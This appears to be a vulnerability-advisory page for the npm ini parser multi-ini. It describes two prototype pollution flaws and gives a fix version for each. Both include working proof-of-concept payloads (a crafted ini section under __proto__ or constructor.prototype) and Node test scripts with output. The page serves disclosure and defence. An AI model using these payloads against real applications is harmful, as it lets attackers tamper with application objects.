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multi-ini@0.2.3 vulnerabilities

An ini-file parser which supports multi line, multiple levels and arrays to get a maximum of compatibility with Zend config files.

  • latest version

    2.3.2

  • latest non vulnerable version

    2.3.2

  • first published

    10 years ago

  • latest version published

    2 years ago

  • licenses detected

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    Direct Vulnerabilities

    Known vulnerabilities in the multi-ini package. This does not include vulnerabilities belonging to this package’s dependencies.

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    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    multi-ini is an ini-file parser which supports multi line, multiple levels and arrays to get a maximum of compatibility with Zend config files.

    Affected versions of this package are vulnerable to Prototype Pollution. It is possible to pollute an object's prototype by specifying the proto object as part of an array.

    PoC by Eugene Lim:

    payload.ini

    [__proto__]
polluted = "polluted"

    poc.js:

    var ini = require('multi-ini')

var parsed = ini.read('./payload.toml', { encoding: 'utf8' })
console.log(parsed)
console.log(parsed.__proto__)
console.log({}.__proto__)
console.log(polluted)

    > node poc.js
{}
{ polluted: 'polluted' }
{ polluted: 'polluted' }
polluted

    How to fix Prototype Pollution?

    Upgrade multi-ini to version 2.1.1 or higher.

    <2.1.1
    • M
    Prototype Pollution

    multi-ini is an ini-file parser which supports multi line, multiple levels and arrays to get a maximum of compatibility with Zend config files.

    Affected versions of this package are vulnerable to Prototype Pollution. It is possible to pollute an object's prototype by specifying the constructor.proto object as part of an array. This is a bypass of CVE-2020-28448.

    PoC

    $ cat payload.2.ini
[constructor]
prototype.polluted = polluted

$ cat poc.multi-ini.js
const ini = require('multi-ini');
console.log('Before:', {}.polluted);
var content = ini.read('payload.2.ini');
console.log('After:', {}.polluted);

    How to fix Prototype Pollution?

    Upgrade multi-ini to version 2.1.2 or higher.

    <2.1.2
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